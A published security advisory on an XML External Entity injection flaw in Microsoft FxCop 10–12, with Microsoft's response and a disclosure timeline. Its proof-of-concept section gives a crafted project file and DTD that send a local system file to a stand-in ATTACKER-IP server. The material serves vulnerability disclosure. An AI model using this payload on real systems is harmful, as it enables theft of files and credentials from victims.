Microsoft Windows FxCop 12 XXE Injection

2018-05-09T00:00:00
ID PACKETSTORM:147559
Type packetstorm
Reporter hyp3rlinx
Modified 2018-05-09T00:00:00

Description

                                        
                                            `[+] Credits: hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MS-WINDOWS-FXCOP-XML-EXTERNAL-ENTITY-INJECTION.txt  
[+] ISR: Apparition Security   
  
  
***Greetz: indoushka|Eduardo|Dirty0tis***  
  
  
Vendor:  
========  
www.microsoft.com  
  
  
Product:  
===========  
Microsoft Windows "FxCop" v10-12   
  
  
  
Vulnerability Type:  
===================  
XML External Entity  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
Security Issue:  
================  
FxCop is vulnerable to XML injection attacks allowing local file exfiltration and or NTLM hash theft. Tested in Windows 7 and Windows 10 download SDK it works in both.   
If you have the the particular SDK in question it is probably there but needs to be installed as it was for me.  
  
  
MSRC Response:  
=============  
"Weve determined that the issue was fixed in FxCop 14.0, but that it repros in versions earlier than that (e.g. 10.0 -12.0 as far as SDKs are concerned, with version 13.0 skipped).  
We have confirmation that the SDKs for Win8+ dont ship FxCop  
We are going to pull Win7 SDKs containing v10-v12 of FxCop. Dissecting SDKs and replacing the tool in situ is fraught with peril, and chaining in a later FxCop to run  
after an SDKs install (if even feasible) would just draw attention to the problem.  
Visual Studio (specifically, C++) ships a trimmed-down version of the Windows 7 SDK, but it does not include FxCop, and so is unaffected.  
  
In summary, newer versions of FxCop are unaffected and we will pull afflicted versions from availability."  
  
  
Exploit/POC:  
=============  
1) python -m SimpleHTTPServer  
  
2) "POC.FxCop"   
  
<?xml version="1.0"?>  
<!DOCTYPE roottag [   
<!ENTITY % file SYSTEM "c:\Windows\system.ini">  
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8000/payload.dtd">  
%dtd;]>  
<FxCopProject Version="1.36" Name="My FxCop Project">&send;</FxCopProject>  
  
  
3) "payload.dtd"  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8000?%file;'>">  
%all;  
  
4) Import or Open "POC.FxCop" file in FxCop  
  
  
Files get exfiltrated to attacker server.  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: March 15, 2018  
Vendor opens MSRC Case 44322?: March 16, 2018  
Vendor reproduces issue : April 6, 2018  
Vendor decides to pull all download links instead of advisory or fix : April 9, 2018  
May 9, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`